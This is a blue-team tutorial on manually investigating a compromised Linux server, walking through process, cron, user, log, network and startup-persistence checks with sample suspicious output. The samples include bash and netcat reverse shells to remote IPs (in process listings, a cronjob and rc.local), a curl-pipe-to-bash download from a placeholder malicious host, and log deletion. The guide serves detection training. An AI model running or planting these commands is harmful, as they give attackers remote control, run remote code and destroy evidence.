cybersecurity
penetration testing
blue-team
incident response
digital forensics
linux security
system hardening
This guide is designed to help you methodically investigate an incident on a compromised Linux server. More than just a list of commands, it is a sequence of guided steps with key questions that will allow you to detect suspicious activity, identify persistence mechanisms, and apply solid defensive logic, just as a professional Blue Team analyst would.
Learning to perform this investigation manually not only strengthens your analytical skills, but also prepares you to face real-world scenarios where automated tools may fail, be absent, or even have been tampered with. Additionally, in many restricted environments or during technical certifications, their use may not be allowed. This methodology teaches you to detect patterns, anomalies, and correlations yourself, and to justify each action with solid arguments—something fundamental in forensic and professional cybersecurity contexts.
Key questions:
1uptime
uptime shows how long the system has been running and its average load over 1, 5, and 15 minutes.
What to look for? Disproportionate load that may indicate intensive or malicious looping processes.
1free -h
free -h shows RAM and swap usage in a human-readable format.
What to look for? Excessive swap usage or little free memory when idle.
1top # or htop
top displays active processes sorted by CPU or RAM usage in real time.
What to look for? Processes like python, nc, bash, perl with high CPU usage without justification.
1ip a
ip a shows network interfaces, IP addresses, and interface status.
What to look for? Unexpected interfaces like tun0, docker0, or IPs that do not belong to your network.
An attacker who has gained access to the system will likely run processes to establish control, exfiltrate information, or maintain persistence. Reviewing running processes lets you detect unusual activity, such as interactive shells, tunnels, remote scripts, or disguised processes. This step is crucial for identifying in-memory malware or fileless executions.
Key questions:
1ps aux --sort=start_time
ps aux --sort=start_time lists all active processes with detailed information: user, CPU and memory usage, start time, command, etc.
The --sort=start_time flag sorts them by start time, so the most recently started processes appear at the end (useful for spotting recent processes).
Example of suspicious output:
1root 20312 0.0 0.1 34500 4200 ? Ss 11:05 0:00 /bin/bash -c bash -i >& /dev/tcp/192.168.1.5/4444 0>&1 2nobody 20344 0.0 0.2 19100 5100 ? S 11:05 0:00 nc -e /bin/bash 192.168.1.5 4444
What to look for?
root that you don't recognizenc, curl, python, bash, sh, perl/tmp/, /dev/shm/, /opt/.hidden/1pstree -p
pstree -p shows a hierarchical tree view of processes. Ideal for seeing who launched what, especially if there are child processes started from hidden shells.
Example of suspicious output:
1systemd(1)─┬─cron(623)───bash(10233)───python(10260) 2 └─sshd(1100)───sshd(2044)───bash(2045)───nc(2046)
What to look for?
cron or systemd launching processes they shouldn'tpython, bash, sh, perl stemming from trusted processessshd → bash → nc)1ps aux | grep -v "[" | less
This command is useful to focus on user or script processes, ignoring the “noise” from internal system processes.
ps aux: lists all active system processes, with info about user, CPU and memory usage, start time, and command.grep -v "[": filters out lines containing brackets ([ ]), typically used by kernel or internal system processes (e.g., [kthreadd]).less: allows comfortable, paginated navigation of the output.Example of suspicious output:
1student 4383 0.0 0.1 15600 2800 ? S 11:11 0:00 bash 2student 4390 0.0 0.0 12345 1600 ? S 11:11 0:00 python -c 'import socket,os,pty; s=socket...' 3root 4402 0.0 0.0 17800 2100 ? S 11:11 0:00 sh /tmp/.hidden/backup.sh
What to look for?
bash, sh) outside interactive sessionspython, perl, php to run scripts from unusual pathsssh -R, curl, wget, socat, nc)Scheduled tasks can be used by attackers to maintain persistence, run reverse shells, or automate malware.
Key questions:
1ls /etc/cron.d/ && cat /etc/cron.d/* && crontab -l
This set of commands helps identify persistently scheduled tasks, both system-wide and for individual users.
ls /etc/cron.d/: lists system-defined cronjobs.cat /etc/cron.d/*: shows the contents of cronjobs in that path.crontab -l: lists the current user's scheduled tasks.Example of a malicious cronjob:
1*/5 * * * * root bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
What to look for? Tasks run by root every few minutes without clear justification, or scripts with unusual paths like /tmp, /opt/.scripts/, .backup, .monitor
A cronjob's syntax has 5 time fields:
| Field | Value | Meaning |
|---|---|---|
| Minute | */5 | Every 5 minutes (00, 05, 10, ..., 55) |
| Hour | * | Every hour (00–23) |
| Day of month | * | Every day of the month |
| Month | * | Every month |
| Day of week | * | Every day of the week |
To check or visualize it, you can use tools like: https://crontab.guru. Just copy and paste */5 * * * * and you'll see a clear text explanation.
One of the most common persistence methods is creating hidden users or abusing existing accounts with active shells. It's essential to review who is allowed interactive access to the system.
Key questions:
Useful command:
1cat /etc/passwd | grep -v "/usr/sbin/nologin"
Shows system users who have access to an interactive shell, excluding system or locked accounts (those using /usr/sbin/nologin).
Suspicious example:
1backup:x:1003:1003::/opt/backup:/bin/bash 2sysadmin:x:1010:1010::/var/tmp/sysadmin:/bin/sh
What to look for?
backup, sysadmin, datauser)/bin/bash or unusual home directories (like /var/tmp/, /opt/)Useful command:
1last -a
last -a shows the last logins to the system, indicating username, terminal, IP address, and session duration.
Suspicious example:
1admin pts/0 203.0.113.45 Tue Jun 11 03:24 still logged in
What to look for?
Useful command:
1grep "Failed password" /var/log/auth.log
Searches for failed authentication attempts, usually related to SSH or password-protected services.
Suspicious example:
1Failed password for invalid user admin from 203.0.113.45 port 51190 ssh2 2Failed password for root from 203.0.113.12 port 58721 ssh2
What to look for?
Log files are vital for reconstructing what happened on a system. They allow you to track access, executed commands, and errors that may have been caused by an attacker. Analyzing key system logs helps you detect anomalous activity, identify remote access, brute force attempts, or unauthorized command execution.
Key questions:
1grep -i "ssh" /var/log/auth.log
Suspicious example:
Accepted password for root from 203.0.113.5 port 50100 ssh2
What to look for?
Useful command:
1journalctl -xe
journalctl -xe shows critical system events, including failures, access, and service errors.
Suspicious example:
sshd[1402]: Failed password for invalid user admin from 198.51.100.77 port 41442
What to look for?
Useful command:
1cat ~/.bash_history
cat ~/.bash_history shows the last commands run by the current user in their terminal.
Suspicious example:
curl http://malicious.site/shell.sh | bash
chmod +x /tmp/cleaner.sh
rm -rf /var/log/*
What to look for?
Network traffic and firewall rules can reveal a lot about activity on a compromised system. Attackers often open additional ports, set up outbound tunnels, or modify firewall rules to maintain control or evade detection. Inspecting open ports and active rules is key to detecting suspicious connections or unauthorized outbound traffic.
Key questions:
1ss -tuln
Shows open sockets and services listening on TCP/UDP ports.
Suspicious example:
LISTEN 0 5 0.0.0.0:4444 0.0.0.0:* users:("bash",pid=20312,fd=3)
What to look for?
Useful command:
1iptables -L -n -v
iptables -L -n -v lists active firewall rules without resolving DNS names.
Suspicious example:
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0
What to look for?
Once an attacker compromises a system, they often leave mechanisms to regain access without exploiting the same vulnerability again. These persistence methods can take the form of scripts that run at startup, fake services, scheduled tasks, or even modified binaries. Detecting them in time is essential to cut off attacker access and restore system integrity.
Key questions:
/etc/init.d/, /lib/systemd/, /opt/, /tmp/?Useful command:
1ls -la /usr/local/bin/
Shows custom local executables.
Suspicious example:
-rwxr-xr-x 1 root root 1243 Jun 11 11:05 updater.sh
What to look for? Scripts or binaries with recent dates, strange names, or executable permissions on suspicious files
Useful command:
1find /opt -type f -iname "*.sh"
Searches for .sh scripts in the /opt directory, commonly used for auxiliary storage.
Suspicious example:
/opt/.backup/install.sh
/opt/data/cleanup.sh
What to look for? Scripts with ambiguous or malicious names (check.sh, cleaner.sh, update.sh)
Useful command:
1cat /etc/rc.local
Shows the contents of the rc.local startup script, if enabled.
Example of a malicious line:
bash -i >& /dev/tcp/192.168.1.50/9001 0>&1
What to look for? Commands that run scripts at system startup or redirections to external IPs
Useful command:
1systemctl list-units --type=service --state=running
Shows active services managed by systemd.
Suspicious example:
logrotate-backup.service loaded active running Backup Service
What to look for? Services with uncommon or duplicate names, or scripts that shouldn't start with the system
Document your findings with screenshots or evidence, list what you would remove, block, and reinforce, and if possible, share your findings with a colleague for validation.
Key questions:
In summary: This methodology is professional, educational, and applicable to real-world environments. Tools can help, but the analyst's judgment is irreplaceable.